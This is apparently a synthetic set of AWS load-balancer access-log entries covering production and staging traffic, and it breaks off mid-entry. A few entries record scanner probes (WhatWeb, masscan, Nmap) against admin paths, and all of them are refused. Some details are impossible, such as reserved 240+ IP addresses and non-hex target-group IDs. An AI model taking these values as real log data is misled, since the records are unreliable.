"Root=1-6723db43-d11ffe9d8279474b9c935805" "staging-alb.example.com" "-" 4 2024-11-01T02:32:19.033938Z "forward" "-" "-" "105.201.197.132:80" "302" "-" "-" +https 2024-11-01T02:32:19.944161Z prod-api-alb 176.91.247.177:19809 10.0.218.156:443 0.085440 0.480289 0.054273 302 302 140 3276 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db43-775bc602b3b74ce6ac51747e" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:19.944161Z "forward" "-" "-" "10.0.218.156:443" "302" "-" "-" +https 2024-11-01T02:32:21.494821Z prod-api-alb 114.213.68.188:41726 10.0.228.9:443 0.084184 0.236411 0.094118 301 301 980 9218 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db45-c4dea797ec0448d4a9699939" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:21.494821Z "forward" "-" "-" "10.0.228.9:443" "301" "-" "-" +https 2024-11-01T02:32:22.351280Z prod-api-alb 171.2.179.177:46633 10.0.252.208:443 0.000932 0.041416 0.086985 200 200 21 1491 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db46-74f363ccce5741bf90cd208e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:22.351280Z "forward" "-" "-" "10.0.252.208:443" "200" "-" "-" +https 2024-11-01T02:32:24.033918Z prod-web-alb 129.29.228.62:24889 10.0.50.42:443 0.053265 0.185489 0.070374 200 200 438 6664 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db48-a125dab967c74ad4a7cd8ac5" "prod-web-alb.example.com" "-" 2 2024-11-01T02:32:24.033918Z "forward" "-" "-" "10.0.50.42:443" "200" "-" "-" +https 2024-11-01T02:32:24.953106Z staging-alb 5.12.204.219:44736 192.150.186.167:443 0.024617 0.698110 0.096791 200 200 909 6866 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db48-186f4f42693d4d0baa4b36fb" "staging-alb.example.com" "-" 8 2024-11-01T02:32:24.953106Z "forward" "-" "-" "192.150.186.167:443" "200" "-" "-" +https 2024-11-01T02:32:26.725155Z prod-web-alb 249.158.21.65:34788 10.0.176.245:443 0.063320 0.241048 0.034855 302 302 379 11595 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db4a-e4f2b11e645249abb97b79de" "prod-web-alb.example.com" "-" 2 2024-11-01T02:32:26.725155Z "forward" "-" "-" "10.0.176.245:443" "302" "-" "-" +https 2024-11-01T02:32:27.248275Z prod-web-alb 240.243.132.23:35395 10.0.117.101:443 0.092858 0.116180 0.000973 404 404 547 10974 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db4b-4a4205ed99b74085b03af7c1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:27.248275Z "forward" "-" "-" "10.0.117.101:443" "404" "-" "-" +https 2024-11-01T02:32:28.693327Z prod-web-alb 104.154.114.117:50122 10.0.69.150:443 0.024266 0.252249 0.031656 200 200 825 3782 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db4c-e623e6b8e505410899ffc623" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:28.693327Z "forward" "-" "-" "10.0.69.150:443" "200" "-" "-" +https 2024-11-01T02:32:29.350875Z prod-api-alb 98.141.53.168:63647 10.0.242.205:443 0.010461 0.327920 0.056770 302 302 363 6505 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db4d-a389ec4aee264d9094770fc6" "prod-api-alb.example.com" "-" 9 2024-11-01T02:32:29.350875Z "forward" "-" "-" "10.0.242.205:443" "302" "-" "-" +https 2024-11-01T02:32:31.315409Z prod-web-alb 1.154.15.45:36713 10.0.242.99:443 0.044925 0.082945 0.092400 302 302 155 8675 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db4f-1b769a3e660d4624a389572a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:32:31.315409Z "forward" "-" "-" "10.0.242.99:443" "302" "-" "-" +https 2024-11-01T02:32:32.127974Z prod-web-alb 157.9.174.148:62848 10.0.253.251:443 0.094859 0.064828 0.037861 200 200 167 4936 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db50-2a1e86943edf4ddeaf7acfea" "prod-web-alb.example.com" "-" 2 2024-11-01T02:32:32.127974Z "forward" "-" "-" "10.0.253.251:443" "200" "-" "-" +https 2024-11-01T02:32:32.517457Z prod-api-alb 201.47.8.53:44007 10.0.50.32:443 0.088794 0.353017 0.096661 404 404 937 7108 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db50-83e32f9559234b538ca09319" "prod-api-alb.example.com" "-" 6 2024-11-01T02:32:32.517457Z "forward" "-" "-" "10.0.50.32:443" "404" "-" "-" +https 2024-11-01T02:32:32.819606Z prod-api-alb 105.249.223.78:46843 10.0.166.31:443 0.009701 0.357476 0.027396 200 200 766 12074 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db50-1f4c9cd3f78944cfad39377b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:32.819606Z "forward" "-" "-" "10.0.166.31:443" "200" "-" "-" +http 2024-11-01T02:32:34.673765Z staging-alb 223.108.226.134:54657 189.165.181.20:80 0.147242 0.732565 0.012231 302 302 227 4923 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db52-f47356cc12db4dd48436576b" "staging-alb.example.com" "-" 6 2024-11-01T02:32:34.673765Z "forward" "-" "-" "189.165.181.20:80" "302" "-" "-" +https 2024-11-01T02:32:36.250167Z prod-web-alb 140.222.100.158:48865 10.0.232.100:443 0.086670 0.035910 0.070648 404 404 624 1180 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db54-6409549a88d74df29b02db96" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:36.250167Z "forward" "-" "-" "10.0.232.100:443" "404" "-" "-" +https 2024-11-01T02:32:37.547807Z prod-web-alb 85.81.141.12:32561 10.0.170.111:443 0.017178 0.128891 0.084216 200 200 228 8276 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db55-7a9717838b6e41d3837b4aec" "prod-web-alb.example.com" "-" 7 2024-11-01T02:32:37.547807Z "forward" "-" "-" "10.0.170.111:443" "200" "-" "-" +https 2024-11-01T02:32:38.547377Z prod-api-alb 65.8.13.36:34778 10.0.70.165:443 0.071400 0.488704 0.077343 200 200 18 2419 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db56-475c34b9083d4230afd93e71" "prod-api-alb.example.com" "-" 6 2024-11-01T02:32:38.547377Z "forward" "-" "-" "10.0.70.165:443" "200" "-" "-" +https 2024-11-01T02:32:39.954664Z prod-web-alb 216.217.52.201:30207 10.0.44.83:443 0.073925 0.086752 0.084391 404 404 734 4730 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db57-3328ef74c765424fbb176df3" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:39.954664Z "forward" "-" "-" "10.0.44.83:443" "404" "-" "-" +http 2024-11-01T02:32:41.047198Z staging-alb 206.222.217.1:50755 231.248.61.49:443 0.111539 0.071023 0.031750 302 302 978 11433 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db59-7e7be475398c48db8af0f649" "staging-alb.example.com" "-" 0 2024-11-01T02:32:41.047198Z "forward" "-" "-" "231.248.61.49:443" "302" "-" "-" +https 2024-11-01T02:32:41.475086Z prod-api-alb 173.163.142.254:33731 10.0.191.125:443 0.019078 0.200098 0.012761 404 404 253 14010 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db59-1f83e46d18f941dcb94d197e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:32:41.475086Z "forward" "-" "-" "10.0.191.125:443" "404" "-" "-" +https 2024-11-01T02:32:42.798255Z prod-api-alb 229.161.23.34:44733 10.0.132.126:443 0.091768 0.118060 0.012230 404 404 874 5407 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db5a-44fd0952c394490fb426cc70" "prod-api-alb.example.com" "-" 4 2024-11-01T02:32:42.798255Z "forward" "-" "-" "10.0.132.126:443" "404" "-" "-" +https 2024-11-01T02:32:44.602736Z prod-web-alb 72.7.228.159:32231 10.0.115.247:443 0.042671 0.477773 0.034786 302 302 611 4520 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db5c-e7ca2b8635c84e908df5993d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:44.602736Z "forward" "-" "-" "10.0.115.247:443" "302" "-" "-" +https 2024-11-01T02:32:44.834287Z prod-api-alb 86.246.232.24:20260 10.0.174.107:443 0.056496 0.237558 0.058178 301 301 377 12855 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db5c-c29eb119490849d3b3a61412" "prod-api-alb.example.com" "-" 9 2024-11-01T02:32:44.834287Z "forward" "-" "-" "10.0.174.107:443" "301" "-" "-" +http 2024-11-01T02:32:45.026284Z staging-alb 4.164.124.152:55997 39.62.166.199:8080 0.101401 0.667592 0.059668 404 404 398 4431 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db5d-46a83eb666124d41a3e262b2" "staging-alb.example.com" "-" 4 2024-11-01T02:32:45.026284Z "forward" "-" "-" "39.62.166.199:8080" "404" "-" "-" +http 2024-11-01T02:32:45.749196Z staging-alb 181.187.187.90:11571 189.118.149.206:80 0.065877 0.007026 0.131528 404 404 770 14999 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db5d-4ecf2b8aa25f4c12b8c7213a" "staging-alb.example.com" "-" 0 2024-11-01T02:32:45.749196Z "forward" "-" "-" "189.118.149.206:80" "404" "-" "-" +http 2024-11-01T02:32:46.398804Z staging-alb 6.88.106.44:37862 56.85.85.79:80 0.146787 0.161795 0.076942 301 301 476 7203 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db5e-7f7f1bce00db4637886876ae" "staging-alb.example.com" "-" 4 2024-11-01T02:32:46.398804Z "forward" "-" "-" "56.85.85.79:80" "301" "-" "-" +https 2024-11-01T02:32:47.950626Z prod-api-alb 63.133.134.50:25977 10.0.114.13:443 0.023963 0.480647 0.080727 302 302 123 1615 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db5f-3dce793d463a4b0ea9531aba" "prod-api-alb.example.com" "-" 0 2024-11-01T02:32:47.950626Z "forward" "-" "-" "10.0.114.13:443" "302" "-" "-" +https 2024-11-01T02:32:48.139574Z prod-web-alb 45.155.205.86:38455 10.0.239.1:443 0.030109 0.119097 0.029400 401 401 994 9590 "POST /phpmyadmin HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db60-81d6d94be16f4f789e1438bc" "-" "-" 9 2024-11-01T02:32:48.139574Z "forward" "-" "-" "10.0.239.1:443" "401" "-" "-" +https 2024-11-01T02:32:48.356436Z staging-alb 238.82.40.150:27515 46.8.123.163:8080 0.026646 0.522568 0.000573 301 301 290 7179 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db60-85aed5425b0c454e9956e512" "staging-alb.example.com" "-" 7 2024-11-01T02:32:48.356436Z "forward" "-" "-" "46.8.123.163:8080" "301" "-" "-" +https 2024-11-01T02:32:48.548861Z prod-api-alb 22.15.6.112:15552 10.0.52.44:443 0.016276 0.042520 0.029121 301 301 888 1107 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db60-0370762a09104f7f8842fa53" "prod-api-alb.example.com" "-" 2 2024-11-01T02:32:48.548861Z "forward" "-" "-" "10.0.52.44:443" "301" "-" "-" +https 2024-11-01T02:32:48.859107Z prod-api-alb 118.226.34.209:37820 10.0.123.40:443 0.055929 0.344809 0.058490 200 200 261 593 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db60-d115a3fa4e20404788ebccd9" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:48.859107Z "forward" "-" "-" "10.0.123.40:443" "200" "-" "-" +https 2024-11-01T02:32:49.274422Z prod-api-alb 254.50.121.89:48315 10.0.100.2:443 0.096606 0.213116 0.008823 404 404 282 11724 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db61-5d0fb383d0ec4c86a968c1b0" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:49.274422Z "forward" "-" "-" "10.0.100.2:443" "404" "-" "-" +https 2024-11-01T02:32:49.541076Z staging-alb 139.251.230.218:25866 228.85.248.179:443 0.129818 0.488526 0.112510 301 301 996 12084 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db61-a8fcffbeb57b42a6a790e89c" "staging-alb.example.com" "-" 1 2024-11-01T02:32:49.541076Z "forward" "-" "-" "228.85.248.179:443" "301" "-" "-" +https 2024-11-01T02:32:49.854111Z prod-api-alb 156.87.246.45:36160 10.0.66.114:443 0.037800 0.018790 0.004864 302 302 826 10822 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db61-3e19f9c075d6498088cfa004" "prod-api-alb.example.com" "-" 7 2024-11-01T02:32:49.854111Z "forward" "-" "-" "10.0.66.114:443" "302" "-" "-" +https 2024-11-01T02:32:50.252715Z staging-alb 25.16.156.126:24782 82.200.195.47:443 0.028082 0.586440 0.085772 200 200 366 8937 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db62-9253399a253f41a4af579353" "staging-alb.example.com" "-" 8 2024-11-01T02:32:50.252715Z "forward" "-" "-" "82.200.195.47:443" "200" "-" "-" +https 2024-11-01T02:32:51.725872Z prod-web-alb 185.181.25.65:39356 10.0.193.238:443 0.025881 0.162913 0.085777 403 403 813 6246 "GET /wp-admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db63-b453d70d94524322b3cb223d" "-" "-" 4 2024-11-01T02:32:51.725872Z "forward" "-" "-" "10.0.193.238:443" "403" "-" "-" +https 2024-11-01T02:32:53.355478Z staging-alb 193.27.228.118:53798 150.202.68.94:80 0.105904 0.407611 0.107100 403 403 125 10969 "POST /adminer.php HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db65-c65e68766c43408783039e2d" "-" "-" 9 2024-11-01T02:32:53.355478Z "forward" "-" "-" "150.202.68.94:80" "403" "-" "-" +https 2024-11-01T02:32:54.493559Z prod-api-alb 205.141.240.127:15298 10.0.224.138:443 0.024500 0.360874 0.095824 200 200 243 13432 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db66-f5aa2ca93eb94fb6828bb2cf" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:54.493559Z "forward" "-" "-" "10.0.224.138:443" "200" "-" "-" +https 2024-11-01T02:32:56.316363Z prod-web-alb 193.154.47.195:40917 10.0.157.109:443 0.097411 0.475966 0.008184 200 200 43 8227 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db68-d3768e48d51a4cf39f7c9289" "prod-web-alb.example.com" "-" 5 2024-11-01T02:32:56.316363Z "forward" "-" "-" "10.0.157.109:443" "200" "-" "-" +https 2024-11-01T02:32:57.872762Z prod-api-alb 157.120.4.101:46850 10.0.112.199:443 0.064352 0.361643 0.099553 301 301 849 2365 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db69-8ad0f4b5d23b40b1966ae2ac" "prod-api-alb.example.com" "-" 3 2024-11-01T02:32:57.872762Z "forward" "-" "-" "10.0.112.199:443" "301" "-" "-" +https 2024-11-01T02:32:58.552114Z prod-api-alb 74.197.1.63:10781 10.0.217.37:443 0.041801 0.078196 0.013810 200 200 584 4812 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db6a-e4d6d37b2d0e4959a246af7a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:32:58.552114Z "forward" "-" "-" "10.0.217.37:443" "200" "-" "-" +https 2024-11-01T02:32:59.282290Z prod-web-alb 84.95.91.217:15010 10.0.67.157:443 0.076331 0.256668 0.024764 200 200 873 10372 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db6b-e374f4faceb040d791b3d984" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:59.282290Z "forward" "-" "-" "10.0.67.157:443" "200" "-" "-" +http 2024-11-01T02:33:00.650602Z staging-alb 172.162.27.242:20012 88.157.129.18:80 0.145788 0.479390 0.092606 200 200 198 5349 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db6c-1c39854ed26547219eec9ac3" "staging-alb.example.com" "-" 8 2024-11-01T02:33:00.650602Z "forward" "-" "-" "88.157.129.18:80" "200" "-" "-" +http 2024-11-01T02:33:01.700617Z staging-alb 11.159.216.65:61507 212.74.157.46:443 0.104381 0.580600 0.130728 404 404 129 7501 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db6d-544d50026bb14cf883a7da14" "staging-alb.example.com" "-" 10 2024-11-01T02:33:01.700617Z "forward" "-" "-" "212.74.157.46:443" "404" "-" "-" +https 2024-11-01T02:33:02.132295Z prod-api-alb 252.121.61.181:16557 10.0.127.10:443 0.058562 0.470805 0.046972 404 404 227 5825 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db6e-47d9307c1a8a470c8e808d95" "prod-api-alb.example.com" "-" 7 2024-11-01T02:33:02.132295Z "forward" "-" "-" "10.0.127.10:443" "404" "-" "-" +https 2024-11-01T02:33:02.448244Z prod-api-alb 127.188.38.132:55708 10.0.74.39:443 0.042258 0.137225 0.025588 302 302 56 5924 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db6e-d850f9fd760c40589c73619d" "prod-api-alb.example.com" "-" 4 2024-11-01T02:33:02.448244Z "forward" "-" "-" "10.0.74.39:443" "302" "-" "-" +https 2024-11-01T02:33:04.095140Z staging-alb 135.52.198.195:63949 154.161.171.165:443 0.042887 0.402486 